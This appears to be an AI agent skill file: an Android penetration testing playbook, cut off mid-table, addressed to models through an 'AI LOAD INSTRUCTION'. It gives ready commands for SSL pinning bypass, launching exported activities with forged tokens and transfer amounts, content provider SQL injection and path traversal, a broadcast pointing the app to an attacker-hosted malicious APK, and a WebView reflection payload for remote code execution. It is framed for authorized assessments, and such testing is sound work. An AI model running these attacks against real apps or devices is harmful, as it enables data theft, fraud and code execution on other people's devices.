/android-pentesting-tricks

name: android-pentesting-tricks
description: >-
  Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

SKILL: Android Pentesting Tricks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.

0. RELATED ROUTING

Before going deep, consider loading:

• [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
• [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
• [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted

Advanced Reference

Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:

• Ready-to-use Frida script templates for common Android testing tasks
• Detailed hook points for OkHttp, Retrofit, Volley, WebView
• Root detection bypass script collection

---

1. SSL PINNING BYPASS

1.1 Frida Universal Bypass

# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause

| Hook Point | Library/Class | Coverage | |---|---|---| | `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS | | `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp | | `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning | | `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS | | `SSLContext.init` | Android SDK | Custom SSL contexts | | `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors | | `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |

1.2 Objection (Quick Method)

objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable

1.3 Network Security Config (Debug Builds)

If you can modify the APK or it's a debug build:

<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  <!-- Trust user-installed CAs -->
    </trust-anchors>
  </debug-overrides>
</network-security-config>

1.4 Magisk Module Approach

| Module | Method | Scope | |---|---|---| | LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps | | LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app | | MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs | | ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |

---

2. COMPONENT EXPOSURE

2.1 Exported Activities

# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"

2.2 Content Providers

# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"

| Provider Type | Attack Vector | Impact | |---|---|---| | Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass | | File-backed | Path traversal via URI | Read arbitrary files | | Parcelable | Type confusion in custom Parcelable | Code execution |

2.3 Broadcast Receivers

# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data

2.4 Exported Services

# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target

---

3. WEBVIEW VULNERABILITIES

3.1 JavaScript Interface RCE (Pre-API 17)

// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')

3.2 Modern WebView Attacks

| Vulnerability | Condition | Exploit | |---|---|---| | `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access | | `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` | | `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker | | `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or f